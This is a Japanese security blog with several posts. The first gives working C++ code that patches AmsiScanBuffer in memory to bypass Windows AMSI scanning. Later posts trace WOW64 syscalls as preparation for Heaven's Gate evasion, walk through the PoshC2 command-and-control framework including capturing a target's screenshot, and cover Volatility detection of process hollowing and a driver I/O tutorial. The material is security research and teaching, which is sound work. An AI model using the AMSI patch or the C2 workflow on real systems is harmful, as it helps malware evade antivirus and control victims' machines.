Snoozy

1.Sleep-inducing; tedious.

amsi!AmsiScanBufferへのパッチによるAMSI Bypassをやってみる

amsi!AmsiScanBufferへのパッチによるAMSI Bypassをやってみる

この記事はIPFactoryアドベントカレンダー2020の22日目に記事です.

qiita.com

AMSIとは

docs.microsoft.com

AMSI(Windows Antimalware Scan Interface)は,Windows上で動くアプリケーションやサービスに対し,マルウェア対策プロバイダーにコンテンツを送信するためのインターフェースだ.

例えばPowerShellVBAマクロ等の入力値が悪質なコンテンツだと判定されたとき,その裏ではAMSIを通じたコンテンツのスキャンが行われている.具体的にはAMSIは以下のWindowsコンポーネントと統合されている.

公式の以下の図は,PowerShellVBScriptまたは開発者が独自に用意したコードがAMSIを呼び出し,ユーザーの入力値を検査出来ることを表している.

f:id:snoozekvn:20201223210206p:plain

引用:https://docs.microsoft.com/en-us/windows/win32/amsi/how-amsi-helps

例えばPowerShellであれば,Amsi.dllからエクスポートされるAmsiScanBuffer,AmsiScanStrinにコンテンツを渡すことでスキャンが行われることがこの図から読み取れる.

しばらくのgooglingの後,現在AMSIスキャンをバイパスする手法の中でも,特にエクスポート関数AmsiScanBufferに注目した手法として,その引数や戻り値に注目したパッチ当てが知られていることが分かった.

https://www.contextis.com/en/blog/amsi-bypass

ここでは,上記記事を参考にしつつ,最も直感的な方法である,AmsiScanBufferへのパッチ当てによるAMSIバイパスをやってみる. 具体的には,最初にPowerShellプロセスにロードされたAmsi.dllの機能を確認したのち,AmsiScanBufferにパッチを当てることでコンテンツスキャンをバイパスしてみる.

検証に利用した環境は以下.

  • OS Name: Microsoft Windows 10 Enterprise Evaluation
  • OS Version: 10.0.19041 N/A Build 19041

AMSI機能チェック

バイパスコードを作成する前に,AMSIスキャンがどのように行われるのか確認してみる.

例えば以下のように,不審なコンテンツを実行しようとした場合,コンテンツの中身がmaliciousだと判定されブロックされてしまう.

f:id:snoozekvn:20201223210202p:plain

MSDNによると,AmsiScanBufferの関数プロトタイプは以下のようになっており,スキャン結果に関係がありそうなパラメータとして戻り値とresultが考えられる.

HRESULT AmsiScanBuffer(
  HAMSICONTEXT amsiContext,
  PVOID        buffer,
  ULONG        length,
  LPCWSTR      contentName,
  HAMSISESSION amsiSession,
  AMSI_RESULT  *result
);

またAMSI_RESULTの定義は以下である.

f:id:snoozekvn:20201224004401p:plain

WinDbgで調査したところ,resultの値が0x0(AMSI_RESULT_CLEAN)かつ戻り値が0x0(S_OK)であれば,コンテンツの内容がクリーンなものとして判定されるようである.

f:id:snoozekvn:20201223210155p:plain

無害なコンテンツを与えた際のresultの参照先の値

f:id:snoozekvn:20201223210210p:plain

有害なコンテンツを与えた際のresultの参照先の値

また,関数のエントリー時のresultと戻り値は必ず0x0であることも分かった. したがって,関数冒頭を「xor rax rax ;ret」等のようにパッチを当てることでAMSIスキャンをバイパス出来る.

パッチコードの実装

これからamsi!AmsiScanBufferにパッチを当て,AMSIスキャンをバイパスするコードを作成する.

CreateProcessやLoadlibraryなどのように、DLLからエクスポートされる関数へのアドレスは,GetProcAddressなどを利用することによって簡単に求められる.しかし,パッチを当てる部分がDLL内部でのみ使用されるコードであった場合はどうであろうか.この場合GetProcAddressに頼ったアドレス取得では対応できない.そこでここでは,AmsiScanBufferを特定できる一意な機械語でメモリ領域を探索し,パッチを当てるアドレスを求めることにする.このようにすれば,AmsiScanBufferが将来的に内部関数として隠蔽されてしまったとしても,機械語を置き換えるだけで再利用できるコードになるはずだ.

まずAmsiScanBufferを一意に特定できる機械語を調査する.ここでは,関数の先頭数バイト分の機械語を採用することにする.

f:id:snoozekvn:20201223210159p:plain

パッチコードの処理の流れは大まかに次のようになっている.

  1. LoadLibraryを使ってAmsi.dllのベースアドレスを取得
  2. PEファイル内のOptionalHeader.SizeOfImageから,メモリ内に展開されたAmsi.dllのサイズを取得
  3. AmsiScanBufferを一意に特定できる機械語でメモリ内を検索
  4. 検索がヒットした場合,AmsiScanBufferの関数冒頭にパッチを当てる
#include<Windows.h>
#include<iostream>
using namespace std;

char patternOfAmsiScanBuffer[] = {
    0x4c, 0x8b, 0xdc,                //MOV        R11,RSP
    0x49, 0x89, 0x5b, 0x08,             //MOV        qword ptr[R11 + local_res8],RBX
    0x49, 0x89, 0x6b, 0x10,             //MOV        qword ptr[R11 + local_res10],RBP
    0x49, 0x89, 0x73, 0x18,             //MOV        qword ptr[R11 + local_res18],RSI
    0x57,                      //PUSH       RDI
    0x41, 0x56,                   //PUSH       R14
    0x41, 0x57,                   //PUSH       R15
    0x48, 0x83, 0xEC, 0x70                        //SUB        RSP,0x70

};

char patternOfPatch[] = {
    0x48, 0x31, 0xc0,                //XOR RAX,RAX
    0xc3                                               //RET
};

PVOID FindPattern(char* startAddress, char* patternBuff, SIZE_T patternSize, SIZE_T searchBytes)
{
    unsigned int i = 0;
    do
    {
        if (startAddress[i] == patternBuff[0])
        {
            for (size_t j = 1; j < patternSize; j++)
            {
                if (patternBuff[j] != startAddress[i + j])
                    break;

                if (j == patternSize - 1)
                {
                    return (LPVOID)(&startAddress[i]);
                }
            }
        }
        ++i;
    } while (i < searchBytes);

    return (PVOID)NULL;
}

int main() {

    HMODULE hAmsi = LoadLibraryExA("amsi.dll", NULL, LOAD_LIBRARY_SEARCH_SYSTEM32);
    if (hAmsi == NULL) {
        cout << "[-]Failed to get the base addr" << endl;
    }
    cout << "[+]Amsi.dll base addr: " << hAmsi << endl;

    PIMAGE_DOS_HEADER dosHeader = (PIMAGE_DOS_HEADER)hAmsi;
    PIMAGE_NT_HEADERS ntHeader = (PIMAGE_NT_HEADERS)((DWORD_PTR)hAmsi + dosHeader->e_lfanew);
    SIZE_T sizeOfImage = ntHeader->OptionalHeader.SizeOfImage;
    cout << "[+]SizeOfImage: " << sizeOfImage << endl;

    PVOID addressOfAmsiScanBuffer = FindPattern((char*)hAmsi, patternOfAmsiScanBuffer, sizeof(patternOfAmsiScanBuffer), sizeOfImage);

    if(addressOfAmsiScanBuffer == NULL){
        cout << "[-]Failed to get the pattern addr" << endl;
        return 0;
    }
    cout << "[+]addressOfAmsiScanBuffer: " << addressOfAmsiScanBuffer << endl;
    
    DWORD oldProtect = NULL;
    DWORD newProtect = PAGE_EXECUTE_READWRITE;
    VirtualProtect(addressOfAmsiScanBuffer, sizeof(patternOfPatch), newProtect, &oldProtect);

    SIZE_T lpNumberOfBytesWritten = 0;
    if (!WriteProcessMemory(GetCurrentProcess(), addressOfAmsiScanBuffer, patternOfPatch, sizeof(patternOfPatch), &lpNumberOfBytesWritten)) {
        cout << "[-]Failed to patch the memory" << endl;
        return 0;
    }
    cout << "[+]Successful patched!!" << endl;
    cout << "[+]AMSI scan hash been disabled!!" << endl;

    VirtualProtect(addressOfAmsiScanBuffer, sizeof(patternOfPatch), oldProtect, &newProtect);
    CloseHandle(hAmsi);
    return 0;
}

実験

www.youtube.com

終わりに

この記事で行ったような,Amsi.dllに対するパッチによりスキャンをバイパスしようとする試みは既に多くの記事が公開されており,本稿はそれらを手本に作成された.このようなAmsi.dllに対するパッチの検知手法としては,メモリ内のネイティブコードのチェックやハッシュ値によるコード領域の改ざんチェックなどが考えられる.

実験では,メモリ内に有害なコンテンツが読み込まれたところで終わっているが,実際にはこの先の処理に進もうとするとWindows Defenderに検知されてしまう.この記事で紹介した内容は,銀の弾丸はおろか本質的にAMSIをバイパスできるものではなく,またアンマネージドコード等の理由からモダンな手法ともいえず優位性は高くないだろう.

参考

https://www.contextis.com/en/blog/amsi-bypass

https://blog.f-secure.com/hunting-for-amsi-bypasses/

https://www.mdsec.co.uk/2018/06/exploring-powershell-amsi-and-logging-evasion/

https://modexp.wordpress.com/2019/06/03/disable-amsi-wldp-dotnet/

https://securityblog.jp/securityanalyst/contents/100108.php

WOW64でのSystemcallをトレースしてみる

WOW64でのSystemcallをトレースしてみる

この記事はIPFactory Advent Calendar 2020の4日目の記事です.

qiita.com

IPFactoryというサークルについてはこちらをご覧ください.

ipfactory.github.io

前日12/3はn01e0による「userfaultfdについてのメモ」でした.

www.feneshi.co

Heaven's Gateと呼ばれる手法を聞いたことがあるだろうか. ユーザーモードのフックをバイパスする手法として,WOW64上の32bitアプリケーションから64bitOSカーネルへのシステムコール遷移の一部を自前で実装してしまうというものだ.本稿では,Heaven's Gateを実装する準備としてWOW64のシステムコールをトレースし,その内部動作を大まかに掴んでみようと思う.

WOW64

MSDNのドキュメントによると,WOW64は32bitのアプリケーションを64bitのWindows上でシームレスに実行するためのx86エミュレータであるとのことだ.WOW64は現在のWindowsにおいてデフォルトで有効であり,ユーザーはbit数の異なる新旧のアプリケーションの違いを意識することなく実行することができる.

docs.microsoft.com

さて,以下の画像を見てほしい.WOW64の構成は図のようになっている.

f:id:snoozekvn:20201204224531p:plain

引用:https://www.atmarkit.co.jp/ait/articles/1007/01/news131.html

WOW64のAPIコールの仕組みは同@ITの解説がわかりやすい.以下に引用する.

 64bit Windows向けに作られたアプリケーションを実行する場合は、それぞれのアプリケーションごとに独立した1つの64bitプロセス空間が作成され、その中で実行される。  これに対してWin32アプリケーションを実行しようとすると、32bit版のWindows OSをエミュレーションするための環境(32bitプロセス空間)が作成され、その中でWin32アプリケーションが実行される。Win32アプリケーションが発行するAPIはエミュレーション用に用意された特別なDLLを経由して64bitのOSカーネルへ渡される。 引用: @IT 「第2回 Win32アプリケーションを実行するWOW64 (1/2)」

WOW64を構成する主要な64bitDLLは以下.

  • wow64.dll
  • wow64cpu.dll
  • wow64win.dll
  • ntdll.dll

WOW64上ではbit数の異なるDLLがロードされることになる.それぞれの格納元は次のとおり.

  • 32-bits %windir%\SysWOW64\
  • 64-bits %windir%\System32\

システムコールのトレースに使用するWinDbgはここからダウンロードすることができる.

docs.microsoft.com

なおWinDbg Previewを使用した場合,64bitコードと32bitコードを切り替えてのデバッグをうまく処理できなかったため,レガシー版のWinDbgを使用する.

また,検証に使ったOSのバージョンは以下.

OS Version:                10.0.19041 N/A Build 19041

64bitアプリケーションの場合

さて,WOW64のシステムコールをトレースする前に,64bitアプリケーションのシステムコールの遷移を改めて確認しておく.トレースするAPIは,特段の理由はないが,NtTerminateProcessを選択した.NtTerminateProcessを呼び出す適当なプログラムを用意し,WinDbgシステムコールをトレースしてみる.

最初にWinDbgでプログラムにアタッチ後,ブレークポイントを設置する.

f:id:snoozekvn:20201204224535p:plain

次に,gコマンドでブレークするまで処理を進ませる.以下の画像のように,eaxにシステムコール番号らしき値が格納され,syscall命令が実行されるようだ.

f:id:snoozekvn:20201204224539p:plain

32bitアプリケーションの場合

次に32bitアプリケーションのシステムコールをトレースしてみる.最初に,プログラム開始直後にロードされているモジュールを表示してみる.

f:id:snoozekvn:20201204224544p:plain

前説通り,wow64cpu,wow64,wow64win等のwow付きのモジュールや,ntdllが2つロードされていることが確認できる.また見切れてしまっているがntdll_77d0000のpdbファイル名はwntdll.pdb,ntdllはntdll.pdbであることもわかる.このファイルはIDAやGhidra等で逆アセンブルする際に有用だ.

さらにWOW64を使って32bitアプリケーションを動かした場合,プロセス内には32bitと64bit用に2つのPEBとTEBが作成される.これは!wow64exts.infoコマンドで確認することができる.

f:id:snoozekvn:20201204224501p:plain

本題のWOW64上でのシステムコールをトレースしよう.最初にbp ntdll_77d0000!NtTerminateProcessで32bit版ntdll.dll内のNtTerminateProcessにブレークポイントを設置する.

f:id:snoozekvn:20201204224535p:plain

gコマンドで処理を進めると,先ほど設置したブレークポイントでブレークする. ここから64bitOSカーネルのNtTerminateProcessまでをトーレスする.

f:id:snoozekvn:20201204224505p:plain

F11キーでステップイン実行すると,Wow64SystemServiceCallはwow64cpu!KiFastSystemCallへジャンプするようだ.

f:id:snoozekvn:20201204224548p:plain

KiFastSystemCallではセグメントセレクタを0x33に変更して,64bitモードへジャンプするようだ.なお,bit modeごとのセグメントレジスタの値は以下.

  • 64-bit (native) = 0x33
  • 32-bit (WOW64) = 0x23
  • 32-bit (native) = 0x1B

セグメントセレクタ自体の解説は以下を参照のこと.

www.malwaretech.com

f:id:snoozekvn:20201204224552p:plain

ここで初めて以下の画像のように64bitコードが登場する.

f:id:snoozekvn:20201204224556p:plain

最初に現れる処理はwow64cpu!CPUPReturnFromSimulatedCodeだ.この部分は32bitのコンテキストの保存と64bitのコンテキストへの移行を担う処理のようだ.

f:id:snoozekvn:20201204224521p:plain

その後,いくつかの関数を経て以下の処理へ遷移する. 具体的には次の関数を経由していた

  • wow64cpu!TurboDispatchJumpAddressStart
  • wow64cpu!Thunk3ArgSpNSpSp
  • wow64cpu!Thunk0Arg

NtTerminateProcessをコールするsyscall命令はwow64cpu!CpupSyscallStubで呼び出されていた.

f:id:snoozekvn:20201204224527p:plain

syscall実行後,32bitコンテキストを復元し,32bitから64bitへ移行したのと同じ要領で,64bitから32bitモードへ戻る. セグメントセレクタを0x23に変えてfar jumpしている点に注意.

f:id:snoozekvn:20201204224513p:plain

WOW64上の32bitアプリケーションから64bitのOSカーネルへのシステムコール遷移を追ってみた.次回の記事ではWOW64フックコードの作成,並びにHeaven's Gateの実装に挑戦したい.

明日12/5はfutabatoによる「医用画像処理のためのMRI入門」です.ご期待ください.

以上.

参考

www.fireeye.com

wbenny.github.io

www.apriorit.com

rce.co

PoshC2を使ってみる

PoshC2を使ってみる

PoshC2とは

Python3ベースのオープンソースなC2フレームワークPoshC2を使ってみる.

github.com

PoshC2は次のような特徴を持つ.

  • ビーコン,強制終了日,ユーザー情報など高度にカスタマイズされたペイロードの作成とターゲットへのロード
  • C2プロキシ用にカスタマイズされたApacheサーバー
  • C#PowerShell,Python3などの選択可能なインプラント
  • PoshC2を介したすべてのユーザー操作のロギング
  • Docker利用による信頼性の高いクロスプラットフォーム

なおPoshC2はいくつかバージョンがあり,以下にそれぞれをまとめておく.

詳細についてはリポジトリのオーナーであるNetitudeのブログにて,PoshC2のバージョン情報が詳しく述べられている.

また各種インプラントの使用方法や実装について解説しており,ドキュメントと合わせて目を通しておくとよいだろう.

NettitudeによるPoshC2解説記事 labs.nettitude.com

公式ドキュメント poshc2.readthedocs.io

ここでは,Python3で書かれた最新のPoshC2を使用し,ターゲット端末のスクリーンショットを取得してみる.

PoshC2のインストール

KaliにPoshC2をインストールしてみる.

curlbashを使って簡単に環境構築できる.

curl -sSL https://raw.githubusercontent.com/nettitude/PoshC2/master/Install.sh | sudo bash

posh-configコマンドで,PoshC2サーバーの設定を変更できる.

適当に調整したのはBindIP,PayloadCommsHostの2点.

f:id:snoozekvn:20200423133442j:plain

PoshC2の使用

PoshC2はその使用にあたって2つの端末を使用する.

それぞれ立ち上げてみる.

posh-serviceコマンドでPoshC2サーバーが起動する.

f:id:snoozekvn:20200423133447j:plain

その後,poshコマンドで立ち上がるインプラント操作用端末からターゲットを操作することになる.

f:id:snoozekvn:20200423133451j:plain

なお,poshコマンドで求められるユーザー名はログ用のものであり任意なユーザー名を使用可能.

インプラントハンドラの使用

poshコマンド実行後,アクティブなインプラントのリストが画面上部に表示される.

f:id:snoozekvn:20200423133455j:plain

インプラント番号を入力することで,特定インプラントへコマンドを送ることができる.

また,helpコマンドを発行することで現在使用可能なコマンドやモジュールのリストが表示される.

f:id:snoozekvn:20200423133459j:plain

ターゲットホストのスクリーンショットを取得してみる

ターゲット端末のスクリーンショットを取得してみる.

適当なStagerをターゲット端末で実行し,サーバーとのコネクションを確立する.

f:id:snoozekvn:20200423133504j:plain

インプラントハンドラからget-screenshotコマンドを発行.

f:id:snoozekvn:20200423133438j:plain

サーバー側のログにダウンロード先のフォルダが表示されるので見てみるとpngが保存されたパスが表示される.

f:id:snoozekvn:20200423133512j:plain

確かにスクリーンショットが取得できた.

以上.

参考

https://readthedocs.org/projects/poshc2/downloads/pdf/stable/

Volatilityを使ってみる

Volatilityを使ってみる

メモリフォレンジックフレームワークであるVolatilityを使ってみる.

Volatilityは現在Python3で記述されたものや,Windows上でスタンドアロンで動作するexe形式が配布されているが,この記事執筆時点ではプロファイルやコマンドの対応状況の点で,Python2製が最も充実しているようにみえる.

そのため,ここではPython2製のVolatilityを使用する.

github.com

Volatility使用にあたって不明点があれば,まず公式Wikiを確認することを推奨する.

github.com

Volatilityのインストール

GitHubからVolatilityをクローンする.

git clone https://github.com/volatilityfoundation/volatility.git

外部パッケージのインストール

Volatilityの使用前に,必要な外部パッケージをインストールしておく.

プロファイルの特定やプロセスリストの取得など使用頻度の高いコマンドがDistorm3を必要とするため,事前にpipでインストールしておく.

pip2 install distorm3

yarascanコマンドやlsadumpコマンドなどはまた別のパッケージを使用するため,必要に応じてインストールすること.

[2020/10/19 追記]

久しぶりにVolatilityをUbuntuにcloneして使おうとしたら,以下のようなインポートエラーが出てうまく動作しなかった.

f:id:snoozekvn:20201019162816p:plain

これを解消するためのメモを残しておく.

最初にPython2系のpipを取ってくる.

curl https://bootstrap.pypa.io/get-pip.py -o get-pip.py
python get-pip.py
export PATH="$PATH:/home/<UserName>/.local/bin"

続いてリポジトリからVolatilityをcloneし,setup.pyを実行する.

git clone https://github.com/volatilityfoundation/volatility.git
cd volatility
python setup.py build install

その後,pycryptoとdistorm3をインストールする.

sudo apt install gcc python2.7-dev
pip install pycrypto
pip install distorm3==3.4.4

以上.

[2020/10/19 追記ここまで]

Volatility Quick Start

メモリダンプを解析し始める前に,インストールしたVolatilityのプロファイルやコマンドの対応状況を確認しておくとよいだろう.

f:id:snoozekvn:20200417080851j:plain

また,コマンドの一覧や詳細はWikiのCommand Referenceが助けになるだろう.

github.com

Volatilityを使ってみる

Volatilityのコマンドの基本的な使い方は以下である.

python vol.py [plugin] -f [image] --profile=[profile] 

コマンド名,メモリダンプファイルのパス,プロファイルが必要になるが,このうちプロファイルを求めておく必要がある. ダンプファイルのプロファイルを求めるには以下のようにすればよい.

python vol.py -f [image] imageinfo

ただし,imageinfoコマンドは結果を得るまでにかなり時間がかかるため,事前にダンプファイルがどのOSのものでバージョンはいくつなのか把握しておいたほうがよいだろう.

以下は,適切なプロファイルを設定してプロセスリストを取得するpslistコマンドを試した様子.

f:id:snoozekvn:20200417080823j:plain

ProcessHollowingの検出

もう少し実践的な使用方法をやってみる.

以前の記事で作成したProcessHollowingを行うプログラムを使って,Volatilityによる不正な活動の検出をやってみる.

snoozy.hatenablog.com

ProcessHollowingを行うプログラムの動作概要は以下のようなものだった.

  • ProcessHollowing.exeプロセスが,不正なコードの注入先となる子プロセスを作成
  • 作成された子プロセスの外装は電卓プロセスだが,ProcessHollowingにより実際に動作するコードは ProcessHollowing.exeプロセスが注入したもの
  • ProcessHollowing.exeプロセスは電卓プロセスに対して,メッセージボックスをポップアップする不正なコードを注入する
  • 処理が正常に完了すると,不正なコードを模したメッセージボックスがポップアップする

以下は実際に,ProcessHollowingプロセスが電卓プロセスをHollowingし,不正なメッセージボックスが立ち上がっている様子.この状態でFTK Imagerを起動しメモリダンプを取る.

f:id:snoozekvn:20200417080831j:plain

ProcessHollowingをVolatilityを使って検出する方法は大きく以下の3パターンが知られている.

  • 不審な親子関係の検出
  • PEBとVAD構造の比較による検出
  • 不審なメモリ保護領域の検出

以下それぞれやってみる.

まずプロセスリストからgrepでProcessHollowing.exeプロセスを見つける.

f:id:snoozekvn:20200417080827j:plain

この親子関係からProcessHollowing.exeプロセスがconhost.exe, cmd.exe, calc.exeプロセスのいずれか,または全てを不正な活動に利用している可能性がある.

不審な親子関係の発見は,SANSが公開しているポスターが参考になるだろう.

https://www.sans.org/security-resources/posters/dfir-find-evil/35/download

今回は,calc.exeプロセスがhollowing対象だと分かっており,恣意的ではあるが以降calc.exeプロセスを対象に話を進める.

calc.exeプロセスに対して,PEBとVADの差異からProcessHollowingの検出を試みる.

Volatilityのdlllistコマンドは,プロセスのPEBから,そのプロセスにロードされているモジュールのリストを読み取る.このモジュールにはDLLやそのプロセス自身のEXEも含まれる.

f:id:snoozekvn:20200417080835j:plain

一方,ldrmodulesはカーネルのVADから,そのプロセスにロードされているモジュールのリストを出力する.

f:id:snoozekvn:20200417080823j:plain

ProcessHollowingが行われた場合,この結果に差異がある. 今回の例でいえばcalc.exeのイメージパスがldrmodulesでは表示されなくなる. これはProcessHollowingの内部で使用されるNtUnmapViewOfSectionAPIによるものだ.

VADは,メモリマネージャが,あるプロセスのどの仮想アドレスが予約されどの仮想アドレスが予約されていないか追跡するために使用されるツリー構造のデータ構造体だ.

プロセスがアドレス領域を予約したり予約領域を削除した場合,メモリマネージャはVADのツリー構造を更新する.

ProcessHollowingの内部で使用されるNtUnmapViewOfSectionAPIにより,VADが更新されるためこのような結果になる.

たしかに,dlllistで表示されていた電卓のイメージパスが表示されておらず,ProcessHollowingの痕跡が見つかったといえる.

次に不審なメモリ領域の検出を試みる. malfindコマンドはVADやページ保護を検査し,不正に注入されたDLLやEXEを検出する.

f:id:snoozekvn:20200417080814j:plain

実行ファイルの通常の実行において,DOSヘッダはPAGE_READONLYなメモリ属性を持つ.

malfindコマンドから得られた領域はPAGE_EXECUTE_READWRITEになっており,これは不審とみなしてよい.

hollowfindプラグインによる自動化

これら一連の処理を自動化してくれる便利なプラグインが公開されているため使ってみる.

github.com

公開されているリポジトリからクローンして,volatilityのpluginsディレクトリにコピーすればよい.

ubuntu@DESKTOP-R697JEC:~/volatility$ git clone https://github.com/monnappa22/HollowFind.git
ubuntu@DESKTOP-R697JEC:~/volatility$ cp HollowFind/hollowfind.py volatility/volatility/plugins/

以下は実際に使用してみた様子.

f:id:snoozekvn:20200417080844j:plain

確かに検知できているようだ.

不審なプロセスや注入されたコードが,どういった処理をするのかはVolatilityからは分からない. 以降はプロセスをダンプしてIDAなどで解析する段階になる.

プロセスをダンプするにはprocdumpコマンドを使えばよい.

f:id:snoozekvn:20200417080840j:plain

これをIDAに読み込ませると以下のように注入されたコードを見ることができる.

f:id:snoozekvn:20200417080847j:plain

コマンド実行の自動化

Volatilityのコマンドはものによってはかなり時間を取られるものがある.

またgrepなどで不審な部分を探していくことになるのだが,そのたびに手動でコマンドを実行していては手間である.

そこで一度すべてのコマンドを実行してファイルとして保存しておき,これをgrepなどでみていくのが得策だ.

以下はそれをやってくれるシェルスクリプト

# Full Credits to: Gabriel Pirjolescu
# https://medium.com/@gabriel.pirjolescu/demystifying-windows-malware-hunting-part-2-detecting-execution-with-volatility-1a139b194bfc

#!/usr/bin/env bash
profile="Win10x64_18362"
file="memdump.mem"
cmds=(
    #processes
    "pslist"
    "psscan"
    "pstree"
    "pstotal"
    "psxview"
#DLLs and handles
    "dlllist"
    "getsids"
    "handles"
    "filescan"
    "mutantscan"
    "cmdscan"
    "consoles"
    "scvscan"
    "cmdline"
#network
    "connections"
    "connscan"
    "sockets"
    "sockscan"
    "netscan"
)
echo "[+] File: $file"
echo "[+] Profile: $profile"
for i in "${cmds[@]}"; do
    echo "[+] Command: $i"
        vol.py --profile=$profile --output-file=$i -f $file $i
done

以上.

参考

http://dione.lib.unipi.gr/xmlui/bitstream/handle/unipi/11578/Balaoura_MTE1623.pdf?sequence=1&isAllowed=y

https://digital-forensics.sans.org/media/volatility-memory-forensics-cheat-sheet.pdf

cysinfo.com

volatilityfoundation.github.io

Buffer I/Oによるドライバとアプリケーション間のデータ転送をやってみる

Buffer I/Oによるドライバとアプリケーション間のデータ転送をやってみる

アプリケーションからI/O要求を行い,デバイスドライバにデータを転送する場合,一時的にデータを保存するためのバッファが必要になる. Windowsではデータバッファにアクセスするための3つの方法が用意されている.

  • Buffer I/O
  • Direct I/O
  • Neither I/O

ここでは,最も使用方法が単純なBuffer I/Oを使ってデバイスドライバとアプリケーション間のデータ転送をやってみる.

単純なドライバ

Visual Studioによる警告無しにコンパイル可能な,ドライバのもっとも簡単な構成は以下だろう.

#include <ntddk.h> 

 extern "C" NTSTATUS DriverEntry(_In_ PDRIVER_OBJECT DriverObject, _In_ PUNICODE_STRING RegistryPath) 
 { 
     UNREFERENCED_PARAMETER(DriverObject); 
     UNREFERENCED_PARAMETER(RegistryPath); 

     /*
     do something
     */

     return STATUS_SUCCESS;
}

デバイスドライバがシステムにロードされた時の最初のルーチンとして,DriverEntryが呼び出される.

ただし,Unload処理などを一切を記述していないため不安定であり,このまま使用するのは避けるべきだ.

またこのままではアプリケーションからこのドライバに触れることはできない.

アプリケーションからドライバにアクセスするにはシンボリックリンクを介する必要がある.

extenr "C"について補足すると,C++では関数名がそのままシンボル名になるわけではなく,引数や戻り値の型情報を付加した情報をリンカーに渡すようになっている. したがってCとC++で書かれたコードを混在させる場合,名前修飾される前の関数名をシンボルとして使用するにはこのようにすればよいということである.

バイスシンボリックリンクの作成

ドライバはWindowsカーネル空間上にロードされるため,ユーザー空間上のアプリケーションから直接アクセスすることはできない.

Windowsでは,ユーザー空間のアプリケーションがドライバを操作するのにシンボリックリンクを使用する.

まず,ドライバ側でデバイスオブジェクトと,そのデバイスオブジェクトへのシンボリックリンクを作成する.

アプリケーションは,このシンボリックリンクを読み書きすることでデバイスを操作する.

この操作に該当するコードは以下のようになる.

 // Create Device Object(Driver Instance)
    status = IoCreateDevice(DriverObject, 0, &DeviceName, FILE_DEVICE_UNKNOWN, FILE_DEVICE_SECURE_OPEN, FALSE, &DeviceObject);
    if (!NT_SUCCESS(status)) {
        DbgPrint("[+]IoCreateDeivce failed\n");
        return status;
    }
    DbgPrint("[+]IoCreateDeivce success\n");


    // Create Symblic Link
    status = IoCreateSymbolicLink(&SymbolicLinkName, &DeviceName);
    if (!NT_SUCCESS(status)) {
        DbgPrint("[+]IoCreateSymbolicLink  failed\n");
        return status;
    }
    DbgPrint("[+]IoCreateSymbolicLink success\n");

バイスシンボリックリンクを確認するにはWinObjを使用する. 以下は,デバイスIRPTestDeviceとそのシンボリックリンクIRPTestDeviceをWinObjで見た様子.

f:id:snoozekvn:20200402083955j:plain

ディスパッチハンドラの作成

ユーザー空間のアプリケーションがデバイスにアクセスするには必ずNT ExecutiveのI/Oマネージャを通過する必要がある. アプリケーションはWindows APIを介してI/OマネージャにI/O操作を要求し,I/OマネージャがデバイスにIRP(I/O Request Packet)を送信する.

f:id:snoozekvn:20200402084004p:plain

引用元:http://www.windowsbugcheck.com/p/lets-start-with-question-what-is-driver.html

IRPはI/Oマネージャによって作成される構造体であり,そのIO_STACK_LOCATIONには関数コードが格納されている.ドライバはこの関数コードを判定し,適当なディスパッチルーチンを実行する.

必要要件ではないが,ここではIRP_MJ_DEVICE_CONTROLを除いたすべてのIRPを同一の関数へ流すことにする.

この操作に該当するコードは以下のようになる.

 // Modify IRP handler
    for (auto i = 0; i < IRP_MJ_MAXIMUM_FUNCTION; i++) {
        DriverObject->MajorFunction[i] = DispatchTestFunction;
    }
    DriverObject->MajorFunction[IRP_MJ_DEVICE_CONTROL] = SioctlDeviceControl;

    DbgPrint("[+]MajorFunction modified\n");

関数コードIRP_MJ_DEVICE_CONTROLを受けて呼び出されるディスパッチハンドラSioctlDeviceControlについては後述する.

Unload処理の作成

バイスオブジェクトの終了処理はシステムの安定さに不可欠だ.

シンボリックリンクの削除とデバイスオブジェクトの削除が主な内容になる.

この操作に該当するコードは以下のようになる.

void Unload(PDRIVER_OBJECT dob)
{
    UNREFERENCED_PARAMETER(dob);

    IoDeleteSymbolicLink(&SymbolicLinkName);
    DbgPrint("[-]SymbolicLink deleted\n");
    IoDeleteDevice(DeviceObject);
    DbgPrint("[-]DeviceObject deleted\n");

    DbgPrint("[-]Driver unloaded!\n");
}

アプリケーションの準備

ここまででドライバ側に必要な処理はほとんど済んだ.

次はこのドライバを操作するアプリケーションの準備だ.

アプリケーションは,カーネル空間のデバイスオブジェクトとシンボリックリンクを介して通信する必要があることは既に述べた.

これには以下のようにすればよい.

まず,シンボリックリンクをCreateFileでオープンし,そのシンボリックリンクファイルのハンドルを得る.

アプリケーション側のコードの雛形は以下のようになる.

#include<stdio.h>
#include<Windows.h>
#include <cstdlib>
#pragma comment(lib,"Kernel32.lib")        

LPCWSTR SymbolicLinkName = L"\\\\.\\IRPTestDevice";

// IRP code that will call our Buffer I/O functionality
#define DEVICE_SEND CTL_CODE(FILE_DEVICE_UNKNOWN, 0x815, METHOD_BUFFERED, FILE_WRITE_DATA)

int main()
{

    // Get device handle
    HANDLE hDevice = CreateFile(SymbolicLinkName, GENERIC_READ | GENERIC_WRITE, 0, nullptr, OPEN_EXISTING, 0, nullptr);

    if (hDevice == INVALID_HANDLE_VALUE) {
        printf("[-]Cannot open device\n");
        return 0;
    }

     /*
     do something
     */

    CloseHandle(hDevice);
    return 0;
}

Buffer I/Oの動作

さて,ここまでアプリケーションとデバイスオブジェクトのシンボリックリンクを介した操作方法を見てきた.

次にBuffer I/Oを見ていく.

Buffer I/Oによる動作の流れは以下のようになる.

f:id:snoozekvn:20200402083959p:plain

引用元:https://docs.microsoft.com/ja-jp/windows-hardware/drivers/kernel/using-buffered-i-o

アプリケーションからのI/O要求を受けて,I/Oマネージャはデータバッファと同じ大きさのシステムバッファを非ページプールに確保する.

ドライバはこのシステムバッファに対して種々の操作を行う.

ドライバによるバッファへの処理が終了すると,I/Oマネージャはシステムバッファの中身をアプリケーションのバッファへコピーする.

バイスからアプリケーションへのIRP送信

実際にBuffer I/Oを介したドライバとアプリケーション間のデータ転送をやってみる.

これにはDeviceIoControlを使用した制御コードの直接送信を利用する. アプリケーション側に以下のようなコードを加える.

     WCHAR message[256] = L"send sample from application";
    ULONG returnLength = 0;
    LPVOID returnBuff[256] = { 0 };

    BOOLEAN call_result = DeviceIoControl(
        hDevice,
        METHOD_BUFFERED,
        message,
        (wcslen(message) + 1) * 2,
        returnBuff,
        sizeof(returnBuff),
        &returnLength,
        0);
    printf("[+]Execute DeviceIoControl \n");

    if (!call_result) {
        printf("[-] Error sending IRP to driver: %s \n", GetLastError());
        return 0;
    }

    wprintf(L"[+]returnBuff %s\n", returnBuff);
    printf("[+]returnLength %d\n", returnLength);

